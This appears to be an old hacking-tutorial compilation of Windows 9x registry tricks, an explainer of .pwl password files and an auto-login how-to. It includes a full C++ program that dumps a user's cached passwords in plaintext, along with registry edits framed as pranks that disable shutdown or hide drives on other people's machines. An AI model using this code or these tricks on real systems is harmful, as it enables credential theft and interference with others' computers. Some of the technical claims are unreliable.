Untold windows tricks and tips

Welcome to another Hacking Truths Manual. This time I have a collection of Tips and Tricks which no body normally knows, the secrets which Microsoft is afraid to tell the people, the information which you will seldom find all gathered up and arranged in a single file. To fully reap this Manual you need to have a basic understanding of the Windows Registry, as almost all the Tricks and Tips involve this file.

****************

Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system

****************

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click.This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button. Start by creating a new shortcut( right click and select New> Shortcut). Then in the command line box, type (without the quotes.)

'C:\windows\rundll.exe user.exe,exitwindowsexec'

This Shortcut on clicking will restart Windows immediately without any Warning. To create a Shortcut to Restarting Windows, type the following in the Command Line box:

'c:\windows\rundll.exe user.exe,exitwindows'

This Shortcut on clicking will shut down Windows immediately without any Warning.

Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego, in this section I teach you, how to disable the Shut Down option in the Shut Down Dialog Box. This trick involves editing the registry, so please make backups. Launch regedit.exe and go to

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

In the right pane look for the NoClose Key. If it is not already there then create it by right clicking in the right pane and selecting New > String Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right pane, right click on it and select Modify. Then Type 1 in the Value Data Box.

Doing the above on a Win98 system disables the Shut Down option in the Shut Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to 1 then click on the Start > Shut Down button displays the following error message:

This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.

You can enable the shut down option by changing the value of NoCloseKey to 0 or simply deleting the particular entry i.e. deleting NoCloseKey.

Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it's contents to the registry by double clicking on it.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoClose"="1"

Disabling Display of Drives in My Computer

This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDrives"=dword:03ffffff

Take Over the Screen Saver

*(Not Check) To activate and deactivate the screen saver whenever you want, goto the following registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers

Now add a new string value and name it Mouse Corners. Edit this new value to -Y-N. Press F5 to refresh the registry. Voila! Now you can activate your screensaver by simply placing the mouse cursor at the top right corner of the screen and if you take the mouse to the bottom left corner of the screen, the screensaver will deactivate.

Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon

Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]

"LegalNoticeCaption"="Caption here."

Delete the Tips of the Day to save 5KB

Windows 95 had these tips of the day which appeared on a system running a newly installed Windows OS. These tips of the day are stored in the Windows Registry and consume 5K of space. For those of you who are really concerned about how much free space your hard disk has, I have the perfect trick.

To save 5K go to the following key in Regedit:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips

Now simply delete these tricks by selecting and pressing the DEL key.

Change the Default Locations

To change the default drive or path where Windows will look for it's installation files, go to the key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath

Now you can edit as you wish.

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry Editor go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

In the right pane create a new DWORD Value named NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.

CLSID Folders Explained

Don't you just hate those stubborn stupid icons that refuse to leave the desktop, like the Network Neighborhood icon. I am sure you want to know how you can delete them. You may say, that is really simple, simply right click on the concerned icon and select Delete. Well not exactly, you see when you right click on these special folders( see entire list below)neither the rename nor the delete option does not appear. To delete these folders, there are two methods, the first one is using the System Policy Editor(Poledit in the Windows installation CD)and the second is using the Registry.

Windows Password File Torn apart

Windows Password Files Torn Apart By Ankit Fadia ankit@bol.net.in



____________________________________________________________________







All, Windows, users would probably be familiar with the infamous ‘pwl’ files or the files where the Windows login passwords are stored. Well, this manual is aimed at, simplifying how the authentication works when you type in your User name And password, what exactly .pwl files contain, where exactly they come into the picture and a whole lot of related things.







The *.pwl files are basically files in which the Windows Login Passwords are stored in. These files can be found in the \Windows directory by the name of the User, whose password it contains. For Example, if your Windows login Username is ankit, then the corresponding password would be stored in c:\windows\ankit.pwl Get it? These .pwl files are readable in any text editor like Notepad, but they are definitely not understandable. A typical example, of the contents of a .pwl file is as follows:







ã‚...-



ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ



ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ



ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR







p u.ÐX+�rÐq"±/2³ Êå¡hCJ‚D × `ÍY¥�!íx}(�qW¤ãƱ






This is definitely not something; a normal person can comprehend or make sense of.







Now, besides the Windows registry, Microsoft’s policy of security by obscurity can also be seen in the case of what .pwl files. Although the original usage of .pwl files was a standard to be used, by all applications, Microsoft simply does not officially provide any type of information on the standards of .pwl files.







To get a list of .pwl files in your system or in other words to find out which all passwords using the .pwl technology (What a good friend of mine likes to call them) are being stored on a particular system, then simply open c:\windows\system.ini in a plaintext editor like Notepad and look under the [Password Lists] section. A typical line from this section would be in the following format: USERNAME=Path_of_pwl_file







For Example,







[Password Lists]



ankit=c:\windows\ankit.pwl







This tells us that the .pwl containing the password for the Username ‘ankit’ is stored at: c:\windows\ankit.pwl







Anyway, the algorithm which is used in the case of storing information in the .pwl files (rather in the .pwl security option), refers to such files as databases, with each record consisting of three fields-:







Resource name



Resource password



Resource type (0..255)



Before, I move onto giving details about the above three fields, let us discuss, how exactly the User Authentication process takes place in Windows (In the case of the login password.)



NOTE: The below process is what happens in the case of the Windows login password.







When you first set a new account on Windows, it derives an encryption key from the specified password and creates c:\windows\username.pwl file, where username is the, well, quite obvious. One, thing to note here is that the .pwl file does not, I repeat does not store the login password, nor does it store the Username.(Although its name is same as the Username for whose authentication it is used.) What it stores, will become clearer once you read the below paragraph.







Now, the next time, you boot your system and type in your Username and password, then Windows,



decrypts the .pwl corresponding to the Username provided, using the decrypting key obtained from the password provided. Once, the .pwl file has been decrypted using the decryption key obtained from the provided password, Windows, verifies the checksum. If the checksum is correct or matches, then the user is authenticated else, try again. In the process of checksum verification, the username provided plays an important role.







Both the Username and Checksum are encrypted using a simple algorithm: RC4.







*****************************



HACKING TRUTH: Although, almost always, the name of the .pwl file is same as the Username, sometimes the name does differ. For Example, if, I use 2 to 3 different applications using .pwl security and then use the same username i.e. ankit in all of them to store passwords, then the naming of the .pwl files would be as follows:



The first .pwl would be named: ankit.pwl, the second would be named: ankit000.pwl , the third would be: ankit001.pwl and so on.



And, I am not too sure, but from what I gather, Windows never ever overwrites a .pwl file.



******************************







Coming, back to the fields. Both the resource name and resource password fields can be binary or simply encrypted and they are interchangeable by the application involved. The Resource Type field can have different numerical values depending upon the software involved. For Example, DUN, Dial Up Server and Windows Login, uses 6 as the value for the Resource Type field. While, Internet Explorer uses 19 as the value of the same field.







One thing to note about Windows Login password algorithms is that, the first time it was introduced, the algorithm was very very weak and allowed passwords to be easily decrypted. However, with each new release, the algorithms used have been improving. However, it still has not reached a reliable level.



In the algorithms used by various Operating Systems to encrypt their login passwords, the algorithm used by Windows is the worst. Some common defects are-:







The cipher algorithms involved are relatively lame. i.e. RC4 and MD5. They can easily be broken. Refer to: http://hackingtruths.box.sk\algorithms.htm for more info on various Encryption algorithms.

All passwords are converted to uppercase

Un-acceptably lame or weak method of storage.

Various Holes existing in the Password Caching Facility. The following Visual C++ program demonstrates further as to how this vulnerability can be exploited.





/*

(c) 1997, 98 Vitas Ramanchauskas



Use Visual C++ to compile this into win32 console app.

This code provided for educational purpose only.

!! NO WARRANTY, NO SUPPORT !!

*/

#include

#include



typedef struct tagPASSWORD_CACHE_ENTRY {

WORD cbEntry; // size of this entry, in bytes

WORD cbResource; // size of resource name, in bytes

WORD cbPassword; // size of password, in bytes

BYTE iEntry; // entry index

BYTE nType; // type of entry

BYTE abResource[1]; // start of resource name

// password immediately follows resource name

} PASSWORD_CACHE_ENTRY;



char *buf, *ob1;

int cnt = 0;



BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)

{

cnt++;

memmove(buf, x->abResource, x->cbResource);

buf[x->cbResource] = 0;

CharToOem(buf, ob1); // for non-English users

printf("%-30s : ", ob1);



memmove(buf, x->abResource+x->cbResource, x->cbPassword);

buf[x->cbPassword] = 0;

CharToOem(buf, ob1);

printf("%s\n", ob1);



return TRUE;

}



void main()

{

buf = new char[1024];

ob1 = new char[1024];

puts("There is no security in this crazy world!\n"

"Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n"

"************\n"

"!DISCLAIMER!\n"

"!This program intended to be used for legal purpose only!\n"

"************\n\n"

"This program shows cached passwords using standard (but undocumented)\n"

"Windows API on local machine for current user (user must be logged in).\n"

"You may invoke pwlview in this way: pwlview >> textfile.txt\n"

"to save passwords in file (don't forget to press enter twice)\n"

"Press Enter to begin...\n");

getchar();



HINSTANCE hi = LoadLibrary("mpr.dll");

if(!hi)

{

puts("Couldn't load mpr.dll. This program is for Windows 95 only");

return;

}

WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =

(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");

if(!enp)

{

puts("Couldn't import function. This program is for Windows 95 only");

return;

}

(*enp)(0,0, 0xff, pce, 0);

if(!cnt)

puts("No passwords found.\n"

"Probably password caching was not used or user is not logged in.");

FreeLibrary(hi);

puts("\nPress Enter to quit");

getchar();

}







Ankit Fadia



Ankit@bol.net.in







http://www.ankitfadia.com





To receive tutorials written by Ankit Fadia on everything you ever dreamt of in your Inbox, join his mailing list by sending a blank email to: programmingforhackers-subscribe@egroups.com







Wanna ask a question? Got a comment to make? Criticize, Comment and more…..by sending me an Instant Message on MSN Messenger. The ID that I use is: ankit_fadia@hotmail.com







Wanna learn Hacking? Wanna attend monthly lectures and discussions on various Networking/Hacking topics? Lectures, Debates and Discussions, get it all by simply joining The Hacking Truths club by clicking Here

[How-To]Bypassing Passwords in Windows

[How-To]Bypassing Passwords in Windows

This post is about an interesting hack to bypass the login passwords in Windows. Application of this hack will result in Windows logging you on everytime as a certain user ( Please do remember at this point that this trick is useful if you are the sole user of your computer. ) Follow the steps mentioned below to apply this trick

• Click Start -> Run.
• Type Control userpasswords2
• Press Enter.

• Click to uncheck the box labelled ‘ Users must enter a user name and password to use this computer’.
• Press OK.

• Enter the username and password in the box that appears.
• Click OK.

Interested readers can go ahead and also read out my previous posts on Spoofing, wherein i explained the simple process by which anyone can spoof a Yahoo User. Also, another antidote post which informs you how you can prevent yourself from getting phished or spoofed. Just in case if you have lost your wireless network key,here is a way to get your lost wireless network key. You can even learn the basics of hacking by using this free to use setup.